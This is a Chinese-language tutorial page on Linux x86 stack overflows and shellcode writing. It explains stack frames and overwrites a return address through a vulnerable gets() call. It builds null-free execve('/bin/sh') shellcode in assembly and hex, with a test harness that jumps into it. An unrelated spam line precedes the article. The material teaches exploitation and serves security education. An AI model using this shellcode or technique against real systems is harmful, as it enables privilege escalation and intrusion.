自拍偷在线精品自拍偷,亚洲欧美中文日韩v在线观看不卡

堆棧溢出技術(shù)從入門(mén)到高深:如何書(shū)寫(xiě)shell code

安全 網(wǎng)站安全
雖然溢出在程序開(kāi)發(fā)過(guò)程中不可完全避免,但溢出對(duì)系統(tǒng)的威脅是巨大的,由于系統(tǒng)的特殊性,溢出發(fā)生時(shí)攻擊者可以利用其漏洞來(lái)獲取系統(tǒng)的高級(jí)權(quán)限r(nóng)oot,因此本文將詳細(xì)介紹堆棧溢出技術(shù)。

雖然溢出在程序開(kāi)發(fā)過(guò)程中不可完全避免,但溢出對(duì)系統(tǒng)的威脅是巨大的,由于系統(tǒng)的特殊性,溢出發(fā)生時(shí)攻擊者可以利用其漏洞來(lái)獲取系統(tǒng)的高級(jí)權(quán)限r(nóng)oot,因此本文將詳細(xì)介紹堆棧溢出技術(shù)……

在您開(kāi)始了解堆棧溢出前,首先你應(yīng)該了解win32匯編語(yǔ)言,熟悉寄存器的組成和功能。你必須有堆棧和存儲(chǔ)分配方面的基礎(chǔ)知識(shí),有關(guān)這方面的計(jì)算機(jī)書(shū)籍很多,我將只是簡(jiǎn)單闡述原理,著重在應(yīng)用。其次,你應(yīng)該了解linux,本講中我們的例子將在linux上開(kāi)發(fā)。

相關(guān)推薦】:

堆棧溢出技術(shù)從入門(mén)到高深:利用堆棧溢出獲得shell

堆棧溢出技術(shù)從入門(mén)到高深:windows系統(tǒng)下堆棧溢出

1、首先復(fù)習(xí)一下基礎(chǔ)知識(shí)。

從物理上講,堆棧是就是一段連續(xù)分配的內(nèi)存空間。在一個(gè)程序中,會(huì)聲明各種變量。靜態(tài)全局變量是位于數(shù)據(jù)段并且在程序開(kāi)始運(yùn)行的時(shí)候被加載。而程序的動(dòng)態(tài)的局部變量則分配在堆棧里面。

從操作上來(lái)講,堆棧是一個(gè)先入后出的隊(duì)列。他的生長(zhǎng)方向與內(nèi)存的生長(zhǎng)方向正好相反。我們規(guī)定內(nèi)存的生長(zhǎng)方向?yàn)橄蛏?,則棧的生長(zhǎng)方向?yàn)橄蛳隆簵5牟僮鱬ush=ESP-4,出棧的操作是pop=ESP+4.換句話(huà)說(shuō),堆棧中老的值,其內(nèi)存地址,反而比新的值要大。請(qǐng)牢牢記住這一點(diǎn),因?yàn)檫@是堆棧溢出的基本理論依據(jù)。

在一次函數(shù)調(diào)用中,堆棧中將被依次壓入:參數(shù),返回地址,EBP。如果函數(shù)有局部變量,接下來(lái),就在堆棧中開(kāi)辟相應(yīng)的空間以構(gòu)造變量。函數(shù)執(zhí)行結(jié)束,這些局部變量的內(nèi)容將被丟失。但是不被清除。在函數(shù)返回的時(shí)候,彈出EBP,恢復(fù)堆棧到函數(shù)調(diào)用的地址,彈出返回地址到EIP以繼續(xù)執(zhí)行程序。

在C語(yǔ)言程序中,參數(shù)的壓棧順序是反向的。比如func(a,b,c)。在參數(shù)入棧的時(shí)候,是:先壓c,再壓b,最后a。在取參數(shù)的時(shí)候,由于棧的先入后出,先取棧頂?shù)腶,再取b,最后取c。這些是匯編語(yǔ)言的基礎(chǔ)知識(shí),用戶(hù)在開(kāi)始前必須要了解這些知識(shí)。

2、現(xiàn)在我們來(lái)看一看什么是堆棧溢出。

運(yùn)行時(shí)的堆棧分配

堆棧溢出就是不顧堆棧中數(shù)據(jù)塊大小,向該數(shù)據(jù)塊寫(xiě)入了過(guò)多的數(shù)據(jù),導(dǎo)致數(shù)據(jù)越界,結(jié)果覆蓋了老的堆棧數(shù)據(jù)。

例如程序一:

#include

int main ( )

{

char name[8];

printf("Please type your name: ");

gets(name);

printf("Hello, %s!", name);

return 0;

}

編譯并且執(zhí)行,我們輸入ipxodi,就會(huì)輸出Hello,ipxodi!。程序運(yùn)行中,堆棧是怎么操作的呢?

在main函數(shù)開(kāi)始運(yùn)行的時(shí)候,堆棧里面將被依次放入返回地址,EBP。

我們用gcc -S 來(lái)獲得匯編語(yǔ)言輸出,可以看到main函數(shù)的開(kāi)頭部分對(duì)應(yīng)如下語(yǔ)句:

pushl %ebp

movl %esp,%ebp

subl $8,%esp

首先他把EBP保存下來(lái),,然后EBP等于現(xiàn)在的ESP,這樣EBP就可以用來(lái)訪(fǎng)問(wèn)本函數(shù)的局部變量。之后ESP減8,就是堆棧向上增長(zhǎng)8個(gè)字節(jié),用來(lái)存放name[]數(shù)組。最后,main返回,彈出ret里的地址,賦值給EIP,CPU繼續(xù)執(zhí)行EIP所指向的指令。

堆棧溢出

現(xiàn)在我們?cè)賵?zhí)行一次,輸入ipxodiAAAAAAAAAAAAAAA,執(zhí)行完gets(name)之后,由于我們輸入的name字符串太長(zhǎng),name數(shù)組容納不下,只好向內(nèi)存頂部繼續(xù)寫(xiě)‘A’。由于堆棧的生長(zhǎng)方向與內(nèi)存的生長(zhǎng)方向相反,這些‘A’覆蓋了堆棧的老的元素。 我們可以發(fā)現(xiàn),EBP,ret都已經(jīng)被‘A’覆蓋了。在main返回的時(shí)候,就會(huì)把‘AAAA’的ASCII碼:0x41414141作為返回地址,CPU會(huì)試圖執(zhí)行0x41414141處的指令,結(jié)果出現(xiàn)錯(cuò)誤。這就是一次堆棧溢出。

3、如何利用堆棧溢出

我們已經(jīng)制造了一次堆棧溢出。其原理可以概括為:由于字符串處理函數(shù)(gets,strcpy等等)沒(méi)有對(duì)數(shù)組越界加以監(jiān)視和限制,我們利用字符數(shù)組寫(xiě)越界,覆蓋堆棧中的老元素的值,就可以修改返回地址。

在上面的例子中,這導(dǎo)致CPU去訪(fǎng)問(wèn)一個(gè)不存在的指令,結(jié)果出錯(cuò)。事實(shí)上,當(dāng)堆棧溢出的時(shí)候,我們已經(jīng)完全的控制了這個(gè)程序下一步的動(dòng)作。如果我們用一個(gè)實(shí)際存在指令地址來(lái)覆蓋這個(gè)返回地址,CPU就會(huì)轉(zhuǎn)而執(zhí)行我們的指令。

在UINX/linux系統(tǒng)中,我們的指令可以執(zhí)行一個(gè)shell,這個(gè)shell將獲得和被我們堆棧溢出的程序相同的權(quán)限。如果這個(gè)程序是setuid的,那么我們就可以獲得root shell。下一講將敘述如何書(shū)寫(xiě)一個(gè)shell code。

如何書(shū)寫(xiě)一個(gè)shell code

一:shellcode基本算法分析

在程序中,執(zhí)行一個(gè)shell的程序是這樣寫(xiě)的:

shellcode.c

------------------------------------------------------------------------

#include

void main() {

char *name[2];

name[0] = "/bin/sh"

name[1] = NULL;

execve(name[0], name, NULL);

}

------------------------------------------------------------------------

execve函數(shù)將執(zhí)行一個(gè)程序。他需要程序的名字地址作為第一個(gè)參數(shù)。一個(gè)內(nèi)容為該程序的argv[i](argv[n-1]=0)的指針數(shù)組作為第二個(gè)參數(shù),以及(char*) 0作為第三個(gè)參數(shù)。

我們來(lái)看以看execve的匯編代碼:

[nkl10]$Content$nbsp;gcc -o shellcode -static shellcode.c

[nkl10]$Content$nbsp;gdb shellcode

(gdb) disassemble __execve

Dump of assembler code for function __execve:

0x80002bc <__execve>: pushl %ebp ;

0x80002bd <__execve+1>: movl %esp,%ebp;上面是函數(shù)頭。

0x80002bf <__execve+3>: pushl %ebx;保存ebx

0x80002c0 <__execve+4>: movl $0xb,%eax;eax=0xb,eax指明第幾號(hào)系統(tǒng)調(diào)用。

0x80002c5 <__execve+9>: movl 0x8(%ebp),%ebx;ebp+8是第一個(gè)參數(shù)"/bin/sh\0"

0x80002c8 <__execve+12>: movl 0xc(%ebp),%ecx;ebp+12是第二個(gè)參數(shù)name數(shù)組的地址

0x80002cb <__execve+15>: movl 0x10(%ebp),%edx;ebp+16是第三個(gè)參數(shù)空指針的地址。;name[2-1]內(nèi)容為NULL,用來(lái)存放返回值。

0x80002ce <__execve+18>: int $0x80;執(zhí)行0xb號(hào)系統(tǒng)調(diào)用(execve)

0x80002d0 <__execve+20>: movl %eax,%edx;下面是返回值的處理就沒(méi)有用了。

0x80002d2 <__execve+22>: testl %edx,%edx

0x80002d4 <__execve+24>: jnl 0x80002e6 <__execve+42>

0x80002d6 <__execve+26>: negl %edx

0x80002d8 <__execve+28>: pushl %edx

0x80002d9 <__execve+29>: call 0x8001a34

<__normal_errno_location>

0x80002de <__execve+34>: popl %edx

0x80002df <__execve+35>: movl %edx,(%eax)

0x80002e1 <__execve+37>: movl $0xffffffff,%eax

0x80002e6 <__execve+42>: popl %ebx

0x80002e7 <__execve+43>: movl %ebp,%esp

0x80002e9 <__execve+45>: popl %ebp

0x80002ea <__execve+46>: ret

0x80002eb <__execve+47>: nop

End of assembler dump.

經(jīng)過(guò)以上的分析,可以得到如下的精簡(jiǎn)指令算法:

movl $execve的系統(tǒng)調(diào)用號(hào),%eax

movl "bin/sh\0"的地址,%ebx

movl name數(shù)組的地址,%ecx

movl name[n-1]的地址,%edx

int $0x80 ;執(zhí)行系統(tǒng)調(diào)用(execve)

當(dāng)execve執(zhí)行成功后,程序shellcode就會(huì)退出,/bin/sh將作為子進(jìn)程繼續(xù)執(zhí)行。可是,如果我們的execve執(zhí)行失敗,(比如沒(méi)有/bin/sh這個(gè)文件),CPU就會(huì)繼續(xù)執(zhí)行后續(xù)的指令,結(jié)果不知道跑到哪里去了。所以必須再執(zhí)行一個(gè)exit()系統(tǒng)調(diào)用,結(jié)束shellcode.c的執(zhí)行。

我們來(lái)看以看exit(0)的匯編代碼:

(gdb) disassemble _exit

Dump of assembler code for function _exit:

0x800034c <_exit>: pushl %ebp

0x800034d <_exit+1>: movl %esp,%ebp

0x800034f <_exit+3>: pushl %ebx

0x8000350 <_exit+4>: movl $0x1,%eax ;1號(hào)系統(tǒng)調(diào)用

0x8000355 <_exit+9>: movl 0x8(%ebp),%ebx ;ebx為參數(shù)0

0x8000358 <_exit+12>: int $0x80 ;引發(fā)系統(tǒng)調(diào)用

0x800035a <_exit+14>: movl 0xfffffffc(%ebp),%ebx

0x800035d <_exit+17>: movl %ebp,%esp

0x800035f <_exit+19>: popl %ebp

0x8000360 <_exit+20>: ret

0x8000361 <_exit+21>: nop

0x8000362 <_exit+22>: nop

0x8000363 <_exit+23>: nop

End of assembler dump.

看來(lái)exit(0)〕的匯編代碼更加簡(jiǎn)單:

movl $0x1,%eax ;1號(hào)系統(tǒng)調(diào)用

movl 0,%ebx ;ebx為exit的參數(shù)0

int $0x80 ;引發(fā)系統(tǒng)調(diào)用

那么總結(jié)一下,合成的匯編代碼為:

movl $execve的系統(tǒng)調(diào)用號(hào),%eax

movl "bin/sh\0"的地址,%ebx

movl name數(shù)組的地址,%ecx

movl name[n-1]的地址,%edx

int $0x80 ;執(zhí)行系統(tǒng)調(diào)用(execve)

movl $0x1,%eax ;1號(hào)系統(tǒng)調(diào)用

movl 0,%ebx ;ebx為exit的參數(shù)0

int $0x80 ;執(zhí)行系統(tǒng)調(diào)用(exit)

二:實(shí)現(xiàn)一個(gè)shellcode

好,我們來(lái)實(shí)現(xiàn)這個(gè)算法。首先我們必須有一個(gè)字符串“/bin/sh”,還得有一個(gè)name數(shù)組。我們可以構(gòu)造它們出來(lái),可是,在shellcode中如何知道它們的地址呢?每一次程序都是動(dòng)態(tài)加載,字符串和name數(shù)組的地址都不是固定的。通過(guò)JMP和call的結(jié)合,黑客們巧妙的解決了這個(gè)問(wèn)題。

------------------------------------------------------------------------

jmp call的偏移地址 # 2 bytes popl %esi # 1 byte //popl出來(lái)的是string的地址。

movl %esi,array-offset(%esi) # 3 bytes //在string+8處構(gòu)造 name數(shù)組,//name[0]放 string的地址

movb $0x0,nullbyteoffset(%esi)# 4 bytes //string+7處放0作為string的結(jié)尾。

movl $0x0,null-offset(%esi) # 7 bytes //name[1]放0。

movl $0xb,%eax # 5 bytes //eax=0xb是execve的syscall代碼。

movl %esi,%ebx # 2 bytes //ebx=string的地址

leal array-offset,(%esi),%ecx # 3 bytes //ecx=name數(shù)組的開(kāi)始地址

leal null-offset(%esi),%edx # 3 bytes //edx=name〔1]的地址

int $0x80 # 2 bytes //int 0x80是sys call

movl $0x1, %eax # 5 bytes //eax=0x1是exit的syscall代碼

movl $0x0, %ebx # 5 bytes //ebx=0是exit的返回值

int $0x80 # 2 bytes //int 0x80是sys call

call popl 的偏移地址 # 5 bytes //這里放call,string 的地址就會(huì)作為返回地址壓棧。

/bin/sh 字符串

------------------------------------------------------------------------

首先使用JMP相對(duì)地址來(lái)跳轉(zhuǎn)到call,執(zhí)行完call指令,字符串/bin/sh的地址將作為call的返回地址壓入堆?!,F(xiàn)在來(lái)到popl esi,把剛剛壓入棧中的字符串地址取出來(lái),就獲得了字符串的真實(shí)地址。然后,在字符串的第8個(gè)字節(jié)賦0,作為串的結(jié)尾。后面8個(gè)字節(jié),構(gòu)造name數(shù)組(兩個(gè)整數(shù),八個(gè)字節(jié))。

我們可以寫(xiě)shellcode了。先寫(xiě)出匯編源程序。

shellcodeasm.c

------------------------------------------------------------------------

void main() {

__asm__("

jmp 0x2a # 3 bytes

popl %esi # 1 byte

movl %esi,0x8(%esi) # 3 bytes

movb $0x0,0x7(%esi) # 4 bytes

movl $0x0,0xc(%esi) # 7 bytes

movl $0xb,%eax # 5 bytes

movl %esi,%ebx # 2 bytes

leal 0x8(%esi),%ecx # 3 bytes

leal 0xc(%esi),%edx # 3 bytes

int $0x80 # 2 bytes

movl $0x1, %eax # 5 bytes

movl $0x0, %ebx # 5 bytes

int $0x80 # 2 bytes

call -0x2f # 5 bytes

.string /"/bin/sh/" # 8 bytes

");

}

編譯后,用gdb的b/bx 〔地址〕命令可以得到十六進(jìn)制的表示。

下面,寫(xiě)出測(cè)試程序如下:(注意,這個(gè)test程序是測(cè)試shellcode的基本程序)

test.c

char shellcode[] ="/xeb/x2a/x5e/x89/x76/x08/xc6/x46/x07/x00/xc7/x46/x0c/x00/x00/x00"

"/x00/xb8/x0b/x00/x00/x00/x89/xf3/x8d/x4e/x08/x8d/x56/x0c/xcd/x80"

"/xb8/x01/x00/x00/x00/xbb/x00/x00/x00/x00/xcd/x80/xe8/xd1/xff/xff"

"/xff/x2f/x62/x69/x6e/x2f/x73/x68/x00/x89/xec/x5d/xc3"

void main() {

int *ret;

ret = (int *)&ret + 2; //ret 等于main()的返回地址 //(+2是因?yàn)椋河衟ushl ebp ,否則加1就可以了。)

(*ret) = (int)shellcode; //修改main()的返回地址為shellcode的開(kāi)始地址。

}

[nkl10]$Content$nbsp;gcc -o test test.c

[nkl10]$Content$nbsp;./test

$Content$nbsp;exit

[nkl10]$Content$nbsp;

我們通過(guò)一個(gè)shellcode數(shù)組來(lái)存放shellcode,當(dāng)我們把程序(test.c)的返回地址ret設(shè)置成shellcode數(shù)組的開(kāi)始地址時(shí),程序在返回的時(shí)候就會(huì)去執(zhí)行我們的hellcode,從而我們得到了一個(gè)shell。運(yùn)行結(jié)果,得到了bsh的提示符$,表明成功的開(kāi)了一個(gè)shell。這里有必要解釋的是,我們把shellcode作為一個(gè)全局變量開(kāi)在了數(shù)據(jù)段而不是作為一段代碼。是因?yàn)樵诓僮飨到y(tǒng)中,程序代碼段的內(nèi)容是具有只讀屬性的。不能修改。而我們的代碼中movl %esi,0x8(%esi)等語(yǔ)句都修改了代碼的一部分,所以不能放在代碼段。這個(gè)shellcode可以了嗎?很遺憾,還差了一點(diǎn)。大家回想一下,在堆棧溢出中,關(guān)鍵在于字符串?dāng)?shù)組的寫(xiě)越界。但是,gets,strcpy等字符串函數(shù)在處理字符串的時(shí)候,以"/0"為字符串結(jié)尾。遇/0就結(jié)束了寫(xiě)操作。而我們的shellcode串中有大量的/0字符。因此,對(duì)于gets(name)來(lái)說(shuō),上面的shellcode是不可行的。我們的shellcode是不能有/0字符出現(xiàn)的。

因此,有些指令需要修改一下:

舊的指令 新的指令

movb $0x0,0x7(%esi) xorl %eax,%eax

molv $0x0,0xc(%esi) movb %eax,0x7(%esi)

movl %eax,0xc(%esi)

--------------------------------------------------------

movl $0xb,%eax movb $0xb,%al

--------------------------------------------------------

movl $0x1, %eax xorl %ebx,%ebx

movl $0x0, %ebx movl %ebx,%eax

inc %eax

--------------------------------------------------------

最后的shellcode為:

------------------------------------------------------------------------

char shellcode[]=

00 "/xeb/x1f" /* jmp 0x1f */

02 "/x5e" /* popl %esi */

03 "/x89/x76/x08" /* movl %esi,0x8(%esi) */

06 "/x31/xc0" /* xorl %eax,%eax */

08 "/x88/x46/x07" /* movb %eax,0x7(%esi) */

0b "/x89/x46/x0c" /* movl %eax,0xc(%esi) */

0e "/xb0/x0b" /* movb $0xb,%al */

10 "/x89/xf3" /* movl %esi,%ebx */

12 "/x8d/x4e/x08" /* leal 0x8(%esi),%ecx */

15 "/x8d/x56/x0c" /* leal 0xc(%esi),%edx */

18 "/xcd/x80" /* int $0x80 */

1a "/x31/xdb" /* xorl %ebx,%ebx */

1c "/x89/xd8" /* movl %ebx,%eax */

1e "/x40" /* inc %eax */

1f "/xcd/x80" /* int $0x80 */

21 "/xe8/xdc/xff/xff/xff" /* call -0x24 */

26 "/bin/sh" /* .string /"/bin/sh/" */

 

責(zé)任編輯:藍(lán)雨淚 來(lái)源: 紅黑聯(lián)盟
相關(guān)推薦

2012-11-27 15:46:51

堆棧溢出

2012-11-27 16:03:00

堆棧溢出

2017-01-03 16:57:58

2014-04-15 13:16:00

Code Review

2014-03-17 11:05:00

ScriptCode Blocks

2016-12-19 09:02:05

Linux Shell刪除跑路

2025-01-07 14:42:09

2017-06-26 09:15:39

SQL數(shù)據(jù)庫(kù)基礎(chǔ)

2021-07-01 07:03:32

開(kāi)發(fā)Webpack代碼

2020-04-10 15:05:09

深度學(xué)習(xí)人工智能蒸餾

2012-02-29 00:49:06

Linux學(xué)習(xí)

2025-02-24 10:07:10

2013-06-06 13:42:48

OSPF入門(mén)配置

2009-09-04 10:37:50

Java堆棧溢出

2010-02-06 15:31:18

ibmdwAndroid

2009-07-22 14:55:16

ibmdwAndroid

2021-02-21 22:53:01

CanvasHTML5JavaScript

2021-09-01 22:58:22

Canvas標(biāo)簽

2019-07-02 14:17:18

API網(wǎng)關(guān)網(wǎng)關(guān)流量

2016-12-08 22:39:40

Android
點(diǎn)贊
收藏

51CTO技術(shù)棧公眾號(hào)